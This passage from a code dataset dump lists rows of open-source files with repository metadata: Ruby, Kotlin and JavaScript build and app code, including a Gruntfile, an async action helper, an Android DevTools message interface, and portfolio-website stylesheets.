hexsha
stringlengths 40
40
| size
int64 5
1.05M
| ext
stringclasses 98
values | lang
stringclasses 21
values | max_stars_repo_path
stringlengths 3
945
| max_stars_repo_name
stringlengths 4
118
| max_stars_repo_head_hexsha
stringlengths 40
78
| max_stars_repo_licenses
listlengths 1
10
| max_stars_count
int64 1
368k
⌀ | max_stars_repo_stars_event_min_datetime
stringlengths 24
24
⌀ | max_stars_repo_stars_event_max_datetime
stringlengths 24
24
⌀ | max_issues_repo_path
stringlengths 3
945
| max_issues_repo_name
stringlengths 4
118
| max_issues_repo_head_hexsha
stringlengths 40
78
| max_issues_repo_licenses
listlengths 1
10
| max_issues_count
int64 1
134k
⌀ | max_issues_repo_issues_event_min_datetime
stringlengths 24
24
⌀ | max_issues_repo_issues_event_max_datetime
stringlengths 24
24
⌀ | max_forks_repo_path
stringlengths 3
945
| max_forks_repo_name
stringlengths 4
135
| max_forks_repo_head_hexsha
stringlengths 40
78
| max_forks_repo_licenses
listlengths 1
10
| max_forks_count
int64 1
105k
⌀ | max_forks_repo_forks_event_min_datetime
stringlengths 24
24
⌀ | max_forks_repo_forks_event_max_datetime
stringlengths 24
24
⌀ | content
stringlengths 5
1.05M
| avg_line_length
float64 1
1.03M
| max_line_length
int64 2
1.03M
| alphanum_fraction
float64 0
1
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
b393a2b3796506aefb92e289e70f89cc2e349414
| 147 |
rb
|
Ruby
|
app/controllers/storefront/products_controller.rb
|
internetmango/mini_commerce
|
cd7832ce4967f3603ee8033299ce57eff9554520
|
[
"MIT"
] | 1 |
2020-05-14T13:32:25.000Z
|
2020-05-14T13:32:25.000Z
|
app/controllers/storefront/products_controller.rb
|
internetmango/mini_commerce
|
cd7832ce4967f3603ee8033299ce57eff9554520
|
[
"MIT"
] | 6 |
2021-03-10T18:48:50.000Z
|
2022-03-31T01:21:07.000Z
|
app/controllers/storefront/products_controller.rb
|
internetmango/mini_commerce
|
cd7832ce4967f3603ee8033299ce57eff9554520
|
[
"MIT"
] | null | null | null |
# frozen_string_literal: true
module Storefront
class ProductsController < StorefrontController
def index; end
def show; end
end
end
| 14.7 | 49 | 0.755102 |
0bd63fa4b33f6d2a42517c4f81bf7183ddb566c6
| 1,670 |
js
|
JavaScript
|
Gruntfile.js
|
mjeanroy/jasmine-backbone
|
795c2fde5529a00499a4b7c35f898bc7466550e8
|
[
"MIT"
] | 1 |
2015-07-23T22:22:44.000Z
|
2015-07-23T22:22:44.000Z
|
Gruntfile.js
|
mjeanroy/jasmine-backbone
|
795c2fde5529a00499a4b7c35f898bc7466550e8
|
[
"MIT"
] | null | null | null |
Gruntfile.js
|
mjeanroy/jasmine-backbone
|
795c2fde5529a00499a4b7c35f898bc7466550e8
|
[
"MIT"
] | null | null | null |
/**
* Grunt build file.
*/
'use strict';
module.exports = function(grunt) {
require('load-grunt-tasks')(grunt);
grunt.initConfig({
pkg: grunt.file.readJSON('package.json'),
karma: {
unit: {
configFile: 'karma.conf.js'
},
unitrjs: {
configFile: 'karma-rjs.conf.js'
},
// Continuous integration mode: run tests once in PhantomJS browser.
continuous: {
configFile: 'karma.conf.js',
singleRun: true,
browsers: [
'PhantomJS'
]
},
// Check with requirejs integration
rjs: {
configFile: 'karma-rjs.conf.js',
singleRun: true,
browsers: [
'PhantomJS'
]
}
},
jshint: {
options: {
jshintrc: '.jshintrc'
},
all: [
'Gruntfile.js',
'src/*.js'
]
},
bump: {
options: {
files: ['package.json', 'bower.json'],
updateConfigs: [],
commit: true,
commitMessage: 'Release v%VERSION%',
commitFiles: ['package.json', 'bower.json', 'dist'],
createTag: true,
tagName: 'v%VERSION%',
tagMessage: 'Version %VERSION%',
push: false
}
}
});
grunt.registerTask('test', [
'karma'
]);
grunt.registerTask('testrjs', [
'karma:unitrjs'
]);
// Default task(s).
grunt.registerTask('build', [
'jshint',
'karma:continuous',
'karma:rjs'
]);
grunt.registerTask('release', function(level) {
var lvl = level || 'minor';
grunt.task.run('build');
grunt.task.run('bump:' + lvl);
});
grunt.registerTask('default', ['build']);
};
| 19.195402 | 74 | 0.513772 |
2026b70ec029c412a43a08f38413546dd98ff9da
| 11,162 |
css
|
CSS
|
css/grayscale.css
|
AllanHernan77/AllanHernan77.github.io
|
ea6f1ff5d3d625fcfd3ccdf1bce128a2b1dde6de
|
[
"MIT"
] | 1 |
2021-05-13T01:28:08.000Z
|
2021-05-13T01:28:08.000Z
|
css/grayscale.css
|
AllanHernan77/AllanHernan77.github.io
|
ea6f1ff5d3d625fcfd3ccdf1bce128a2b1dde6de
|
[
"MIT"
] | null | null | null |
css/grayscale.css
|
AllanHernan77/AllanHernan77.github.io
|
ea6f1ff5d3d625fcfd3ccdf1bce128a2b1dde6de
|
[
"MIT"
] | null | null | null |
body {
max-width: 100%;
overflow-x: hidden;
}
body {
width: 100%;
height: 100%;
font-family: "Lora", "Helvetica Neue", Helvetica, Arial, sans-serif;
-8or: white;
background-color: black;
}
html {
width: 100%;
height: 100%;
}
h2,
h3,
h4,
h5,
h6 {
margin: 0 0 35px;
text-transform: uppercase;
font-family: "Montserrat", sans-serif;
font-weight: 100;
letter-spacing: 1px;
}
p {
margin: 0 0 25px;
font-size: 18px;
line-height: 1.5;
}
@media (min-width: 768px) {
p {
margin: 0 0 35px;
font-size: 20px;
line-height: 1.6;
color: black;
}
a {
color:black ;
-webkit-transition: 4s;
-moz-transition: 4s ;
transition: 4s ;
}
a:hover,
a:focus {
text-decoration: none;
color: ;
}
.light {
font-weight: 400;
}
.navbar-custom {
margin-bottom:0px;
border-bottom: 1px solid rgba(255, 255, 255, 0.3);
text-transform: uppercase;
font-family: 'Alegreya', serif;
background-color: transparent;
margin-right: 0px;
}
.navbar-custom .navbar-toggle {
color: white;
background-color: rgba(255, 255, 255, 0.2);
font-size: 12px;
}
.navbar-custom .navbar-toggle:focus,
.navbar-custom .navbar-toggle:active {
outline: none;
}
.navbar-custom .navbar-brand {
font-weight: 700;
}
.navbar-custom .navbar-brand:focus {
outline: none;
}
.navbar-custom a {
color: white;
}
.navbar-custom .nav li a {
-webkit-transition: background 0.3s ease-in-out;
-moz-transition: background 0.3s ease-in-out;
transition: background 0.3s ease-in-out;
margin-right: 100px;
margin-left: 10px;
margin:0px 146px 0px 0px;
}
.navbar-custom .nav li :hover {
color: rgba(255, 255, 255, 0.8);
outline: none;
background-color: transparent;
}
.navbar-custom .nav li a:focus,
.navbar-custom .nav li a:active {
outline: none;
background-color: transparent;
}
.navbar-custom .nav li.active {
outline: none;
}
.navbar-custom .nav li.active a {
background-color:transparent;
}
.navbar-custom .nav li.active a:hover {
color: white;
}
@media (min-width: 768px) {
.navbar-custom {
padding: 0px 0px 0px 0px;
border-bottom: none;
letter-spacing: 1px;
background: transparent;
-webkit-transition: background 0.5s ease-in-out, padding 0.5s ease-in-out;
-moz-transition: background 0.5s ease-in-out, padding 0.5s ease-in-out;
transition: background 0.5s ease-in-out, padding 0.5s ease-in-out;
}
.navbar-custom.top-nav-collapse {
padding: 0;
background: black;
border-bottom: 1px solid #cc0909;
}
}
.intro {
display: table;
width: 100%;
height: auto;
padding: 100px 0;
text-align: center;
color:white;
z-index:;
background-color: ;
-webkit-background-size: cover;
-moz-background-size: cover;
background-size: cover;
-o-background-size: cover;
}
.intro .intro-body {
display: table-cell;
vertical-align: middle;
}
.intro .intro-body .brand-heading {
font-size: 40px;
}
.intro .intro-body .intro-text {
font-size: 26x;
}
@media (min-width: 768px) {
.intro {
height: 100%;
padding: 0;
}
.intro .intro-body .brand-heading {
font-size: 100px;
}
.intro .intro-body .intro-text {
font-size: 26px;
}
.intro-text{
color:white;
font-family: 'Alegreya', serif;
}
/*Red Glowing Effect on Name*/
.brand-heading{
font-family: 'IM Fell French Canon SC', serif;
color: white;
text-shadow:
0 0 5px red,
0 0 10px red,
0 0 20px red,
0 0 40px red,
0 0 80px red,
0 0 90px red,
0 0 100px red,
0 0 150px red;
}
.btn-circle {
width: 70px;
height: 70px;
margin-top: 15px;
padding: 7px 16px;
border: 2px solid #cc0909;
border-radius: 100% !important;
font-size: 40px;
color: white;
background: transparent;
-webkit-transition: background 0.3s ease-in-out;
-moz-transition: background 0.3s ease-in-out;
transition: background 0.3s ease-in-out;
}
.btn-circle:hover,
.btn-circle:focus {
outline: none;
color: white;
background: rgba(255, 255, 255, 0.1);
}
.content-section {
padding-top: 100px;
width: 100%;
height: 700px;
padding: 50px 0;
margin:-200px 0px 0px 0px;
}
#about{
width: 100%;
padding: 50px 0;
background-color: #3e3b3b;
height:620px;
margin:0px 0px 0px 0px;
position: relative;
box-shadow: 0px 0px 150px black;
min-width: 960px;
}
#doubledown{
color:white;
}
#img__img{
filter: grayscale(0%);
z-index: 1;
width:410px;
height:610px;
position: absolute;
right: 60%;
border: .5px solid #cc0909;
top: 8%;
}
#contact{
width: 100%;
background-color: black;
height: 807px;
margin: -1px 93px 6px -3px;
padding: 120px;
box-shadow: 0px 0px 150px black;
}
.contactheader{
position: relative;
margin: 0 0 70px;
letter-spacing: 0.15em;
font-size: 45px;
color: white;
}
.download-section {
padding: 100px 0;
}
.btn {
text-transform: uppercase;
font-family: "Montserrat", "Helvetica Neue", Helvetica, Arial, sans-serif;
font-weight: 400;
-webkit-transition: all 0.3s ease-in-out;
-moz-transition: all 0.3s ease-in-out;
transition: all 0.3s ease-in-out;
border-radius: 0;
}
.btn-default {
border: 1px solid white;
color: white;
background-color: transparent;
}
.btn-default:hover,
.btn-default:focus {
border: 1px solid black;
outline: none;
color: black;
background-color: grey;
}
.btn-more {
border: 1px solid black;
color: black;
background-color: transparent;
}
.btn-more:hover,
.btn-more:focus {
border: 1px solid black;
outline: none;
color: black;
background-color: grey;
}
footer {
padding: 50px 0;
background-color: #232323;
}
body {
margin: 0;
background: #000;
}
hr{
border-color:#cc0909;
}
h1 {
font-size: 3rem;
text-transform: uppercase;
margin-top: 0;
letter-spacing: .3rem;
}
a {
display: inline-block;
color: #fff;
text-decoration: none;
padding: .5rem;
transition: .6s background;
}
a:hover{
}
video {
position: fixed;
top: 50%;
left: 50%;
min-width: 137%;
min-height: 148%;
width: auto;
height: auto;
transform: translateX(-50%) translateY(-50%);
background: url('') no-repeat;
background-size: cover;
transition: 1s opacity;
zoom:120%;
z-index: -100;
}
@media screen and (max-width: 500px) {
div{width:70%;}
}
@media screen and (max-device-width: 800px) {
html { background: url() #000 no-repeat center center fixed; }
#bgvid { display: none; }
}
#boxAbout {
width: 553px;
height: auto;
background-color: rgba(255, 255, 255, 0.8);
border-radius: 3px;
right:5%;
top:-40px ;
opacity: 1;
transition: opacity 1s;
color: black;
padding: 50px;
position: absolute;
}
.headeraboutP{
postion:fixed;
font-family: 'Dosis', Arial, sans-serif;
letter-spacing: 2px;
}
.list{
color: grey;
}
.content-box-text:hover
{
box-shadow: 0px 0px 150px #000000;
z-index: 2;
-webkit-transition: all 200ms ease-in;
-webkit-transform: scale(1.5);
-ms-transition: all 200ms ease-in;
-ms-transform: scale(1.5);
-moz-transition: all 200ms ease-in;
-moz-transform: scale(1.5);
transition: all 200ms ease-in;
transform: scale(1.25);
}
.module, .module-small, .module-header {
position: relative;
padding: 140px 0;
background-repeat: no-repeat;
background-position: 50% 50%;
-webkit-background-size: cover;
-moz-background-size: cover;
-o-background-size: cover;
background-size: cover;
margin:-300px 0px 0px 0px;
}
#module_about{
position: relative;
padding: 140px 0;
background-repeat: no-repeat;
background-position: 50% 50%;
-webkit-background-size: cover;
-moz-background-size: cover;
-o-background-size: cover;
background-size: cover;
margin: 0px 0px 0px 0px;
margin: 0px 0px 0px 0px;
background-color: #3e3b3b;
width: 100%
}
.module{
margin:-21px 0px 0px 0px;
background-color: #3e3b3b;
}
.container {
width: 1170px;
}
.copy{
color:white;
font-family: 'Alegreya', serif;
}
.module-title {
position: relative;
margin: 0 0 70px;
letter-spacing: 0.15em;
font-size: 45px;
color: white;
}
.module-subtitle {
color: white;
}
.fa{
color:#cc0909;
}
.fa-cog{
color:white;
}
.fa-code{
color: white;
}
.fa-desktop{
color: white;
}
.fa-video-camera{
color: white;
}
.fa-trophy{
color: white;
}
.fa-picture-o{
color: white;
}
.fa-cc{
color: white;
}
.fa-film{
color: white;
}
.fa-code{
color: white;
}
.align-center {
text-align: center;
}
.font-alt {
font-family: "Montserrat", sans-serif;
text-transform: uppercase;
letter-spacing: 0.1em;
}
.content-box-icon {
font-size: 36px;
}
.content-box-title {
margin: 5px 0 0;
font-size: 14px;
color:white;
}
.content-box-text {
margin: 15px 0 0;
color:white;
}
/* //////////////////////////////////////////////////////////////////////////*/
#portfolio{
margin:0px 0px 0px -4px;
height:864px;
background-color: black;
}
.portfolio-box {
position: relative;
display: block;
max-width: 650px;
margin: 0 auto;
}
.portfolio-box .portfolio-box-caption {
color: white;
opacity: 0;
display: block;
background: gray;
position: black;
bottom: 0;
text-align: center;
width: 100%;
height: 100%;
-webkit-transition: all 1.35s;
-moz-transition: all 1.35s;
transition: all 1.35s;
}
.portfolio-box .portfolio-box-caption .portfolio-box-caption-content {
width: 100%;
text-align: center;
position: absolute;
top: 50%;
transform: translateY(-50%);
}
.portfolio-box .portfolio-box-caption .portfolio-box-caption-content .project-category,
.portfolio-box .portfolio-box-caption .portfolio-box-caption-content .project-name {
font-family: 'Open Sans', 'Helvetica Neue', Arial, sans-serif;
padding: 0 15px;
}
.portfolio-box .portfolio-box-caption .portfolio-box-caption-content .project-category {
text-transform: uppercase;
font-weight: 600;
font-size: 14px;
}
.portfolio-box .portfolio-box-caption .portfolio-box-caption-content .project-name {
font-size: 18px;
}
.portfolio-box:hover .portfolio-box-caption {
opacity: 1;
background-color: black;
}
.portfolio-box:focus {
outline: none;
}
@media (min-width: 768px) {
.portfolio-box .portfolio-box-caption .portfolio-box-caption-content .project-category {
font-size: 16px;
}
.portfolio-box .portfolio-box-caption .portfolio-box-caption-content .project-name {
font-size: 22px;
}
.projectheader{
margin:-5px 0px 0px 0px;
height:168px;
background-color: black;
padding:70px;
}
.projectheaderText{
font-family: "Montserrat", sans-serif;
text-transform: uppercase;
letter-spacing: 0.1em;
font-size: 45px;
text-align: center;
color:white;
margin:0px 0px 0px 0px;
}
.img-responsive{
filter: grayscale(0%);
height: 261px;
width: 62%;
margin: 0px 0px 0px 15%;
}
.img-responsive:hover{
opacity:.1;
}
#moreButtonList {
list-style-type: none;
z-index: 1;
position: absolute;
left:34.5%;
}
.anEmail{
color: white;
}
| 18.449587 | 90 | 0.639939 |
e96299519104132368b993120cbf1639e35843d4
| 130 |
kt
|
Kotlin
|
src/main/kotlin/es/dpstudios/boilerplate/security/jwt/AccountCredentials.kt
|
danybmx/kotlin-springboot-jwt-boilerplate
|
a1dc3de8a7f4f2b63106e619887fa2945ed7e3a3
|
[
"MIT"
] | 2 |
2018-05-20T09:05:25.000Z
|
2020-01-05T14:33:27.000Z
|
src/main/kotlin/es/dpstudios/boilerplate/security/jwt/AccountCredentials.kt
|
danybmx/kotlin-springboot-jwt-boilerplate
|
a1dc3de8a7f4f2b63106e619887fa2945ed7e3a3
|
[
"MIT"
] | null | null | null |
src/main/kotlin/es/dpstudios/boilerplate/security/jwt/AccountCredentials.kt
|
danybmx/kotlin-springboot-jwt-boilerplate
|
a1dc3de8a7f4f2b63106e619887fa2945ed7e3a3
|
[
"MIT"
] | null | null | null |
package es.dpstudios.boilerplate.security.jwt
data class AccountCredentials(val username: String = "", val password: String = "")
| 43.333333 | 83 | 0.776923 |
e77200792d6aafa783fd8cb7fd41f6dce3e9a9a1
| 806 |
js
|
JavaScript
|
src/createAsyncAction/createAsyncAction.js
|
Jamesford/duxkit
|
75c9e5e5b1c0da803ffb8b0241d0d625b9b4a098
|
[
"MIT"
] | null | null | null |
src/createAsyncAction/createAsyncAction.js
|
Jamesford/duxkit
|
75c9e5e5b1c0da803ffb8b0241d0d625b9b4a098
|
[
"MIT"
] | null | null | null |
src/createAsyncAction/createAsyncAction.js
|
Jamesford/duxkit
|
75c9e5e5b1c0da803ffb8b0241d0d625b9b4a098
|
[
"MIT"
] | null | null | null |
import { createAction } from '../createAction/createAction'
export function createAsyncAction(type, asyncAction) {
const pending = createAction(`${type}/pending`)
const fulfilled = createAction(`${type}/fulfilled`)
const rejected = createAction(`${type}/rejected`)
const actionCreator = (arg) => {
return (dispatch, getState) => {
dispatch(pending())
asyncAction(arg, { dispatch, getState })
.then((...args) => dispatch(fulfilled(...args)))
.catch((...args) => dispatch(rejected(...args)))
}
}
actionCreator.toString = () => `${type}`
actionCreator.type = type
actionCreator.match = (action) => action.type === type
actionCreator.pending = pending
actionCreator.fulfilled = fulfilled
actionCreator.rejected = rejected
return actionCreator
}
| 29.851852 | 59 | 0.668734 |
f054119a93dc6490f9f1ed0ffcd67c66a6b7c4df
| 3,701 |
js
|
JavaScript
|
lib/create-packages-dist/handler.js
|
blackbaud/skyux-dev-infra-private-builds
|
8a02550a152e47c63445b0b263407dc0604ad8fe
|
[
"MIT"
] | null | null | null |
lib/create-packages-dist/handler.js
|
blackbaud/skyux-dev-infra-private-builds
|
8a02550a152e47c63445b0b263407dc0604ad8fe
|
[
"MIT"
] | null | null | null |
lib/create-packages-dist/handler.js
|
blackbaud/skyux-dev-infra-private-builds
|
8a02550a152e47c63445b0b263407dc0604ad8fe
|
[
"MIT"
] | null | null | null |
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.createPackagesDist = void 0;
const fs_extra_1 = require("fs-extra");
const path_1 = require("path");
const semver_1 = __importDefault(require("semver"));
const get_publishable_projects_1 = require("../get-publishable-projects");
const spawn_1 = require("../utils/spawn");
const create_documentation_json_1 = require("./create-documentation-json");
const inline_external_resources_paths_1 = require("./inline-external-resources-paths");
const verify_packages_dist_1 = require("./verify-packages-dist");
const CWD = process.cwd();
/**
* Replaces any occurrence of '0.0.0-PLACEHOLDER' with a version number.
*/
async function replacePlaceholderTextWithVersion(filePath, skyuxVersion, skyuxPackagesVersion) {
const contents = (await (0, fs_extra_1.readFile)(filePath))
.toString()
.replace(/0\.0\.0-PLACEHOLDER/g, skyuxVersion)
.replace(/0\.0\.0-PACKAGES_PLACEHOLDER/g, skyuxPackagesVersion);
await (0, fs_extra_1.writeFile)(filePath, contents);
}
async function createPackagesDist(argv) {
console.log('Creating distribution packages for all libraries...');
const packageJson = await (0, fs_extra_1.readJson)((0, path_1.join)(CWD, 'package.json'));
const skyuxVersion = packageJson.version;
// For SKY UX v.5, add 1000 to the minor version number.
// e.g. 5.5.1 --> 5.1005.1
const skyuxPackagesVersion = semver_1.default.major(skyuxVersion) === 5
? skyuxVersion.replace(/\.([0-9])\./, (match, group) => {
return match.replace(/[0-9]/, `${+group + 1000}`);
})
: skyuxVersion;
await (0, fs_extra_1.emptyDir)((0, path_1.join)(CWD, 'dist'));
const distPackages = await (0, get_publishable_projects_1.getPublishableProjects)();
const projectNames = Object.keys(distPackages);
// Build all libraries.
await (0, spawn_1.runCommand)('npx', [
'nx',
'run-many',
'--target=build',
`--projects=${projectNames.join(',')}`,
'--parallel',
'--maxParallel=2',
], {
stdio: 'inherit',
});
// Run postbuild steps.
await (0, spawn_1.runCommand)('npx', [
'nx',
'run-many',
'--target=postbuild',
`--projects=${projectNames.join(',')}`,
'--parallel',
'--maxParallel=2',
], {
stdio: 'inherit',
env: { ...process.env, NX_CLOUD_DISTRIBUTED_EXECUTION: 'false' },
});
for (const projectName in distPackages) {
const distPackage = distPackages[projectName];
await replacePlaceholderTextWithVersion((0, path_1.join)(distPackage.distRoot, 'package.json'), skyuxVersion, skyuxPackagesVersion);
(0, inline_external_resources_paths_1.inlineExternalResourcesPaths)(distPackage.distRoot);
if (!argv.documentationExcludeProjects?.includes(projectName)) {
await (0, create_documentation_json_1.createDocumentationJson)(projectName, distPackage);
}
const migrationCollectionJsonPath = (0, path_1.join)(distPackage.distRoot, 'src/schematics/migrations/migration-collection.json');
if ((0, fs_extra_1.existsSync)(migrationCollectionJsonPath)) {
await replacePlaceholderTextWithVersion(migrationCollectionJsonPath, skyuxVersion, skyuxPackagesVersion);
}
}
await (0, verify_packages_dist_1.verifyPackagesDist)(distPackages, packageJson);
console.log(' ✔ Done creating distribution packages for all libraries.');
}
exports.createPackagesDist = createPackagesDist;
| 46.848101 | 140 | 0.677655 |
3a29bfc5a98723be43aaa01e14cad39805b02f21
| 829 |
kt
|
Kotlin
|
XClipper.Android/app/common/src/main/java/com/kpstv/xclipper/extensions/RecyclerViewExtensions.kt
|
awesome-github-repo/XClipper
|
aec6ad70a3ed7cbb704274dd02cf5f9d2fc11e36
|
[
"Apache-2.0"
] | 87 |
2020-05-04T09:43:10.000Z
|
2022-03-28T15:32:42.000Z
|
XClipper.Android/app/common/src/main/java/com/kpstv/xclipper/extensions/RecyclerViewExtensions.kt
|
awesome-github-repo/XClipper
|
aec6ad70a3ed7cbb704274dd02cf5f9d2fc11e36
|
[
"Apache-2.0"
] | 21 |
2021-09-01T23:54:35.000Z
|
2022-03-30T10:41:25.000Z
|
XClipper.Android/app/common/src/main/java/com/kpstv/xclipper/extensions/RecyclerViewExtensions.kt
|
awesome-github-repo/XClipper
|
aec6ad70a3ed7cbb704274dd02cf5f9d2fc11e36
|
[
"Apache-2.0"
] | 13 |
2021-07-20T10:03:29.000Z
|
2022-03-29T10:50:13.000Z
|
package com.kpstv.xclipper.extensions
import androidx.annotation.ColorInt
import androidx.core.view.doOnLayout
import androidx.recyclerview.widget.RecyclerView
/**
* Highlight specific item in recyclerview. Setting color to -1 will auto determine
* the lighter & darker versions of the color.
*/
fun RecyclerView.highlightChildPosition(index: Int, @ColorInt color: Int = -1) {
val layoutManager = layoutManager ?: throw IllegalStateException("No layout manager is set")
doOnLayout {
val itemView = layoutManager.findViewByPosition(index)
if (itemView == null) {
smoothScrollToPosition(index)
doOnLayout {
layoutManager.findViewByPosition(index)?.runBlinkEffect(color)
}
} else {
itemView.runBlinkEffect(color)
}
}
}
| 33.16 | 96 | 0.691194 |
7aef6afd5d065db6a17a7e96b44373509acc5e39
| 1,339 |
rb
|
Ruby
|
app/jobs/pull_upcoming_events_job.rb
|
lunohodov/eventical
|
ded3964928eeaece6702aff97de50b202e4495ef
|
[
"MIT"
] | 9 |
2019-05-22T08:16:56.000Z
|
2022-02-09T15:40:18.000Z
|
app/jobs/pull_upcoming_events_job.rb
|
lunohodov/eventical
|
ded3964928eeaece6702aff97de50b202e4495ef
|
[
"MIT"
] | 266 |
2018-12-06T05:55:31.000Z
|
2022-03-31T04:53:04.000Z
|
app/jobs/pull_upcoming_events_job.rb
|
lunohodov/eventical
|
ded3964928eeaece6702aff97de50b202e4495ef
|
[
"MIT"
] | 9 |
2019-05-22T08:16:58.000Z
|
2021-08-19T11:55:04.000Z
|
# frozen_string_literal: true
require "ostruct"
class PullUpcomingEventsJob < ApplicationJob
queue_as :default
def perform(character_id)
@character_id = character_id
ensure_valid_access_token
remote_events = fetch_remote_events
track_upcoming_events_pulled
Event.transaction do
# Delete obsolete events
keep_uids = remote_events.map(&:uid)
Event.upcoming_for(character, since: Time.current)
.where.not(uid: keep_uids)
.delete_all
# Save new or update existing
remote_events.map { |e| Event.synchronize(e) }
end
end
private
attr_reader :character_id
def track_upcoming_events_pulled
analytics.track_upcoming_events_pulled(character)
end
def fetch_remote_events
character_calendar.events.map do |event|
OpenStruct.new(
character: character,
uid: event.event_id,
response: event.event_response,
title: event.title,
starts_at: event.event_date
).freeze
end
end
def ensure_valid_access_token
Eve::RenewAccessToken.new(character, force: false).call
end
def character_calendar
EveOnline::ESI::CharacterCalendar.new(
token: character.token,
character_id: character.uid
)
end
def character
@character ||= Character.find(character_id)
end
end
| 21.253968 | 59 | 0.705004 |
1e32ed508786dd5cb494f59cbd9980572eb8ddf3
| 3,649 |
kt
|
Kotlin
|
java/arcs/android/devtools/DevToolsMessage.kt
|
jblebrun/arcs
|
11e69d95d7e0972198fb40847b392284a0590c11
|
[
"BSD-Source-Code"
] | 57 |
2017-05-17T02:27:13.000Z
|
2022-03-24T07:45:39.000Z
|
java/arcs/android/devtools/DevToolsMessage.kt
|
jblebrun/arcs
|
11e69d95d7e0972198fb40847b392284a0590c11
|
[
"BSD-Source-Code"
] | 2,687 |
2017-04-28T01:25:03.000Z
|
2022-01-07T13:51:39.000Z
|
java/arcs/android/devtools/DevToolsMessage.kt
|
jblebrun/arcs
|
11e69d95d7e0972198fb40847b392284a0590c11
|
[
"BSD-Source-Code"
] | 52 |
2017-04-28T00:06:50.000Z
|
2021-08-29T05:36:06.000Z
|
/*
* Copyright 2020 Google LLC.
*
* This code may only be used under the BSD style license found at
* http://polymer.github.io/LICENSE.txt
*
* Code distributed by Google as part of this project is also subject to an additional IP rights
* grant found at
* http://polymer.github.io/PATENTS.txt
*/
package arcs.android.devtools
import arcs.core.crdt.CrdtOperation
import arcs.core.util.JsonValue
/**
* An interface for messages between [DevToolsService] and the client.
*/
interface DevToolsMessage {
/** The type of DevToolsMessage */
val kind: String
/** The message to be passed */
val message: JsonValue<*>
/** Return a JSON string that can be passed to the client. */
fun toJson() = JsonValue.JsonObject(
mapOf(
KIND to JsonValue.JsonString(kind),
MESSAGE to message
)
).toString()
/** Track message constants */
companion object {
/** A [RAW_MESSAGE] should be used to send raw [ProxyMessage]s to the client. */
const val RAW_MESSAGE = "RawStoreMessage"
/** A [STORE_SYNC] should be used to notify the client that a store has synced. */
const val SYNC_MESSAGE = "StoreSyncMessage"
/** A [MODEL_UPDATE_MESSAGE] is used when a [ModelUpdate] [ProxyMessage] is received. */
const val MODEL_UPDATE_MESSAGE = "ModelUpdateMessage"
/** A [STORE_OP_MESSAGE] should be used when an [Operation] [ProxyMessage] is received. */
const val STORE_OP_MESSAGE = "StoreOperationMessage"
/** A [CLEAR_TYPE] should be used when a clear message is received. */
const val CLEAR_TYPE = "clear"
/** A [CLEAR_ALL_TYPE] should be used when a clear all message is received. */
const val CLEAR_ALL_TYPE = "clearAll"
/** An [UPDATE_TYPE] should be used when a [CrdtSingleton.Operation.Update] is received. */
const val UPDATE_TYPE = "update"
/** An [ADD_TYPE] should be used when a [CrdtSet.Operation.Add] is received. */
const val ADD_TYPE = "add"
/** A [REMOVE_TYPE] should be used when a [CrdtSet.Operation.Remove] is received. */
const val REMOVE_TYPE = "remove"
/** A [REMOVE_TYPE] should be used when a [CrdtSet.Operation.Fastforward] is received. */
const val FAST_FORWARD_TYPE = "fastForward"
// String constants to be used in JSON messages.
/** JSON key for [kind]. */
const val KIND = "kind"
/** JSON key for [message]. */
const val MESSAGE = "message"
/** JSON key for [Store.id]. */
const val STORE_ID = "id"
/** JSON key for [CrdtOperation]. */
const val OPERATIONS = "operations"
/** JSON key for the [CrdtOperation]'s type. */
const val TYPE = "type"
/** JSON key for the [actor] of the [CrdtOperation]. */
const val ACTOR = "actor"
/** JSON key for the update value from a [CrdtOperation]. */
const val VALUE = "value"
/** Json Key for the values added in a [CrdtOperation]. */
const val ADDED = "added"
/** Json Key for the values removed in a [CrdtOperation]. */
const val REMOVED = "removed"
/** Json Key for the old versionMap in a [FastForward] operation. */
const val OLD_VERSION_MAP = "oldVersionMap"
/** Json key for the versionmap. */
const val VERSION_MAP = "versionMap"
/** Json key for the type of [Store] the message comes from. */
const val STORE_TYPE = "storeType"
/** To be used as the [STORE_TYPE] for a [ReferenceModeStore]. */
const val REFERENCEMODE = "referenceMode"
/** To be used as the [STORE_TYPE] for a [DirectStore]. */
const val DIRECT = "direct"
/** Json key for the representation of the Storage Key */
const val STORAGE_KEY = "storageKey"
}
}
| 32.008772 | 96 | 0.668402 |
7e314c7cafb229798b3040e0cb7d5f7d231cbae1
| 2,962 |
css
|
CSS
|
css/styles.css
|
levertco/Delanistudio
|
9ed94304a8222f4bbe451a74ab59247d4797daf0
|
[
"Unlicense"
] | null | null | null |
css/styles.css
|
levertco/Delanistudio
|
9ed94304a8222f4bbe451a74ab59247d4797daf0
|
[
"Unlicense"
] | null | null | null |
css/styles.css
|
levertco/Delanistudio
|
9ed94304a8222f4bbe451a74ab59247d4797daf0
|
[
"Unlicense"
] | null | null | null |
/* ----
BODY
---- */
body{
text-align: center;
font-family: sans-serif;
}
img{
min-width: 12px;
min-height: 12px;
}
h3{
width: 100%;
font-family: sans-serif;
}
header{
background-image: url('../assets/backgrounds/h_img.jpeg');
height: 100vh;
font-family: sans-serif;
letter-spacing: 2px;
line-height: 30px;
text-shadow: 0 0 20px #000;
}
header div{
padding-top: 30vh;
color: white;
}
header div h1{
padding: 10px ;
}
.mouse{
position: absolute;
rightt: 50%;
transform: translate(-50%);
bottom: 6vh;
}
#whatWeDo{
padding-top: 71px;
}
#whatWeDo>div{
position: relative;
width: 30%;
min-height: 190px;
padding: 10px 0;
}
.text{
overflow: hidden;
}
/* --------
PORTFOLIO
---------*/
#portfolio img{
width: 100%;
}
.port_cont{
height: 25%;
width: 25%;
margin-bottom: 10px;
position: relative;
overflow: hidden;
}
.port_desc{
position: absolute;
background: rgba(237, 237, 237, 0.63);
width: 100%;
height: 100%;
cursor: pointer;
transform: translateX(-200%) rotate(180deg);
border: 2px solid rgba(252, 252, 252, 0);
}
.here{
transform: translateX(0) rotate(0deg);
border: none;
}
/* -------
CONTACT
------- */
#contact{
background-image: url('../assets/backgrounds/c_image.jpg');
padding: 20px 5px;
color: white;
}
.message{
padding: 3px 15px;
margin: 7px 2px;
width: 700px;
max-width: 89%;
}
form{
width: 700px;
max-width: 90%;
}
::placeholder{
color: rgb(204, 204, 204);
}
form input{
width:49%;
}
form input, form textarea{
background: transparent;
border: 1.01px solid white;
color: white;
